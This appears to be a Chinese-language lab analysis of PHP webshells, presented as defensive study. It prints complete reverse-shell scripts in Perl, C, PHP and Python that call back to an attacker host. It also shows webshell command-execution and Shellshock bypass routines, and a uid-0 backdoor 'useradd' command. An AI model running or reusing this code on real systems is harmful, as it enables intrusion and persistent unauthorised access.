前言
https://secvery.com/2105.html 黑客常用PHP大马(WebShell)
PHP大馬就是功能較全,支持各種在滲透過程中可能用到的各種功能的大型代碼集合,通常具有文件管理、命令執行、端口掃描、數據庫管理、反彈shell等等的功能
透過解讀大馬的功能,能了解到一些web滲透的手段,進而知道怎麼樣在安全上做防護
Spider PHP Shell (SPS-3.0).php
登入
文件管理
時間
透過 touch() 修改文件的mtime
case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;
# ll test.jpg
-rw-r--r--. 1 www www 12218 Nov 4 2020 test.jpg
新增文件
使用 fopen() 、fwrite()寫檔,然後用 touch() 改mtime。當前目錄必須是www 可寫
直接點該文件,可以在網站上打開改文件
該文件的權限是www
# ll newfile.php
-rw-r--r--. 1 www www 26 May 4 2021 newfile.php
新建目錄
使用 mkdir(),建立目錄。當前目錄必須是www 可寫
# ll | grep newdir
drwxr-xr-x. 2 www www 6 Nov 4 19:20 newdir
複製、刪除、屬性、打包(下載)、編輯、改名、上傳、批量上傳
略
執行命令
使用exec、shell_exec、system、passthru、popen去執行命令。所以php.ini中盡量要禁用這些危險函數,以免被webshell執行命令
function Exec_Run($cmd) { $res = ''; if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} return $res; }
掃描端口
使用 fsockopen 去檢測服務器端口有無開放
$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);
搜索文件
搜索包含文字
使用 readdir 將目錄下所有文件名讀出來,然後用 fread 將文件內容讀出來,最後用stristr 去匹配內容
Linux提權
攻擊機
因為windows的git bash沒有nc這個命令,所以另外準備一台攻擊機(CentOS虛擬機,192.168.1.8)來實作Linux提權。
攻擊機安裝nc
# yum install nc
打開提權所需端口
# firewall-cmd --zone=public --add-port=12388/tcp --permanent
# firewall-cmd --reload
攻擊機監聽shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
提權
提交表單後就可以獲取靶機上的shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58198.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:initrc_t:s0
pwd
/www/wwwroot/webshell2.bt/Php
whoami
www
hostname -I
192.168.1.24 172.17.0.1
當然還能切root(如果你知道靶機root的密碼)
su -
Password: root_password
whoami
root
pwd
/root
/var/log/secure 拿到www的shell是沒有記錄的,切root和登出root的時候有
Nov 5 04:50:08 localhost su: pam_unix(su-l:session): session opened for user root by (uid=1000)
Nov 5 04:50:16 localhost su: pam_unix(su-l:session): session closed for user root
靶機
可以看到多了一個sh的進程,執行用戶是www(這也是為什麼提權那拿到的shell用戶是www)
# ps aux | grep "\bsh\b"
www 9551 0.0 0.0 11692 1356 ? S 16:10 0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
www 9556 0.0 0.0 11692 1360 ? S 16:10 0:00 /bin/sh
有個連線連到攻擊機(192.168.1.8)的nc監聽端口(12388)
# netstat -tlunpa | grep "192.168.1.8"
tcp 0 0 192.168.1.24:58198 192.168.1.8:12388 ESTABLISHED 9550/lynx
9550 是什麼進程?
# ps aux | grep "9550"
www 9550 0.0 0.0 31144 3340 ? S 16:10 0:00 lynx
原理
File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb')
將以下perl腳本寫入 /tmp/spider_bc
#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);
然後用PHP執行腳本
Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')
perl /tmp/spider_bc 192.168.1.8 12388 &
如果是在服務器上用root手動執行該反彈腳本
# perl /tmp/spider_bc 192.168.1.8 12388 &
進程的執行者是root
# ps aux | grep "\bsh\b"
root 28776 0.0 0.0 113288 1396 pts/10 S 15:06 0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
root 28781 0.0 0.0 113284 1196 pts/10 S 15:06 0:00 /bin/sh
攻擊機拿到的shell權限也會是root
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58734.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
whoami
root
C語言執行
將以下C代碼寫入 /tmp/angel_bc.c
#include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, char *argv[]) { int fd; struct sockaddr_in sin; char rms[21]="rm -f "; daemon(1,0); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); sin.sin_addr.s_addr = inet_addr(argv[1]); bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) { perror("[-] connect()"); exit(0); } strcat(rms, argv[0]); system(rms); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","sh -i", NULL); close(fd); }
然後執行編譯命令
gcc -o /tmp/angel_bc /tmp/angel_bc.c
最後執行
/tmp/angel_bc 192.168.1.8 12388 &
C語言的實現方式在大馬後台沒有成功,因為編譯不出來 /tmp/angel_bc ,在靶機上用root手動執行編譯命令倒是可以
MySQL執行
https://stackoverflow.com/a/54643842 Connect to different port using MySql Command Line Client
如果連docker的mysql時要用127.0.0.1,不能用localhost
MySQL管理
如下圖所見
zjjv
zjjv。 com
代碼基本上被加密了,使用XDebug調試可以慢慢解出來,只是花時間
登入
文件管理
功能基本上和 Spider PHP Shell (SPS-3.0).php 一樣。 (root)用户|组 代表該大馬文件的權限是root(但是執行shell的權限僅是www)
執行PHP腳本
使用的是eval執行
eval(stripslashes(base64_decode($_POST['phpcode'])));
執行SQL、MYSQL操作、端口掃描
功能基本上和Spider PHP Shell (SPS-3.0).php 的 MySQL執行、MySQL管理、掃描端口 一樣。
執行命令
比 Spider PHP Shell 更進化了,多了使用 COM類(windows,未能復現)、proc_open、readlink+putenv(未能復現)的漏洞利用
function Exec_Run($cmd) { $res = ''; if (function_exists('exec')) { @exec($cmd, $res); $res = join("\n", $res); } elseif (function_exists('shell_exec')) { $res = @shell_exec($cmd); } elseif (function_exists('system')) { @ob_start(); @system($cmd); $res = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists('passthru')) { @ob_start(); @passthru($cmd); $res = @ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f = @popen($cmd, 'r'))) { $res = ''; while (!@feof($f)) { $res .= @fread($f, 1024); } @pclose($f); } elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) { $w = new COM('WScript.shell'); $e = $w->exec($cmd); $f = $e->StdOut(); $res = $f->ReadAll(); } elseif (function_exists('proc_open')) { $length = strcspn($cmd, " \t"); $token = substr($cmd, 0, $length); if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length); $p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io); while (!feof($io[1])) { $res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8'); } while (!feof($io[2])) { $res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8'); } fclose($io[1]); fclose($io[2]); proc_close($p); } elseif (function_exists('mail')) { if (strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(".", "data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1", "", "", "", "-bv"); } else $res = "Not vuln (not bash)"; $output = @implode('', @file($tmp)); @unlink($tmp); if ($output != "") $res = $output; else $res = JmCode("=4vofIaqtD3ohOvpiOPY0IUp0I3ot8zG"); } return $res; }
反彈提權
和Spider PHP Shell相比除了perl和C的執行方式,多了php和nc的執行方式
php
用 socket_create 和 socket_connect 去連攻擊機監聽的端口,然後用 socket_read 不斷的去等攻擊機下的命令,然後用proc_open在靶機上執行命令,最後用 socket_write 將靶機上執行命令的結果返回給攻擊機
if (!extension_loaded('sockets')) { if ($system == 'WIN') { @dl('php_sockets.dll') or die("Can't load socket"); } else { @dl('sockets.so') or die("Can't load socket"); } } if ($system == "WIN") { $env = array('path' => "c:\\windows\\system32"); } else { $env = array('PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin"); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $host = $_POST['yourip']; $port = $_POST['yourport']; $host = gethostbyname($host); $proto = getprotobyname("tcp"); if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) { die("Socket创建失败"); } if (($ret = socket_connect($sock, $host, $port)) < 0) { die("连接失败"); } else { $message = "----------------------PHP反弹连接(www.xxx.com)--------------------\n"; socket_write($sock, $message, strlen($message)); $cwd = str_replace('\\', '/', dirname(__FILE__)); while ($cmd = socket_read($sock, 65535, $proto)) { if (trim(strtolower($cmd)) == "exit") { socket_write($sock, "Bye\n"); exit; } else { $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg = stream_get_contents($pipes[1]); socket_write($sock, $msg, strlen($msg)); fclose($pipes[1]); $msg = stream_get_contents($pipes[2]); socket_write($sock, $msg, strlen($msg)); $return_value = proc_close($process); } } } }
nc
一樣也是用PHP實現,使用 fsockopen 去連攻擊機監聽的端口,然後用feof不斷的等攻擊機發命令過來,用fgets接收到命令後使用 $message = `$cmd`; 執行命令(` 就是 shell_exec函數),執行後用 fputs 將結果返回攻擊機。
echo '<div class="actall">'; $mip = $_POST['yourip']; $bport = $_POST['yourport']; $fp = fsockopen($mip, $bport, $errno, $errstr); if (!$fp) { $result = "Error: could not open socket connection"; } else { fputs($fp, "\n*********************************************\n hacking url:http://www.xxx.com is ok! \n*********************************************\n\n"); while (!feof($fp)) { fputs($fp, " [root@xxx.com:/root]# "); $result = fgets($fp, 4096); $message = `$result`; fputs($fp, "--> " . $message . "\n"); } fclose($fp); } echo '</div>';
執行方式:php 和 nc(本質上也是使用PHP),連進程中異常的 sh 進程都查不到,因為跑在php-fpm下面,只能從netstat上查到有個異常的連線往外連
# ps aux | grep "\bsh\b"
(無)
# netstat -tlunpa | grep "192.168.1.8"
tcp 0 0 192.168.1.24:58952 192.168.1.8:12388 ESTABLISHED 9623/php-fpm: pool
# ps aux | grep 9623
www 9623 0.0 0.1 248544 8928 ? S 18:06 0:00 php-fpm: pool www
其他大馬
https://www.dismall.com/thread-1726-1-1.html 震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔
文件管理
基本上功能都大同小異
特殊目錄:Linux-local : /usr/local/
Linux-tmp : /tmp/
Linux-etc : /etc/
反彈SHELL
Python
這個大馬在提權時多了python的連接方式。原理是將以下python代碼寫入 /tmp/t00ls.py
#!/usr/bin/python # import sys,os,socket,pty s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], int(sys.argv[2]))) os.dup2(s.fileno(), sys.stdin.fileno()) os.dup2(s.fileno(), sys.stdout.fileno()) os.dup2(s.fileno(), sys.stderr.fileno()) pty.spawn('/bin/sh')
然後再執行
/usr/bin/python /tmp/t00ls.py 192.168.1.8 12388
執行命令
這邊收集了一些滲透常用命令
Linux-版本集合: id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a
Linux-添加用户: /usr/sbin/useradd -u 0 -o -g 0 t00ls
Linux-查看用户: cat /etc/passwd
Linux-查看端口: /bin/netstat -tnl
Linux-查看地址: /sbin/ifconfig -a
Linux-查看服务: /sbin/chkconfig --list
Linux-查看进程: /bin/ps -ef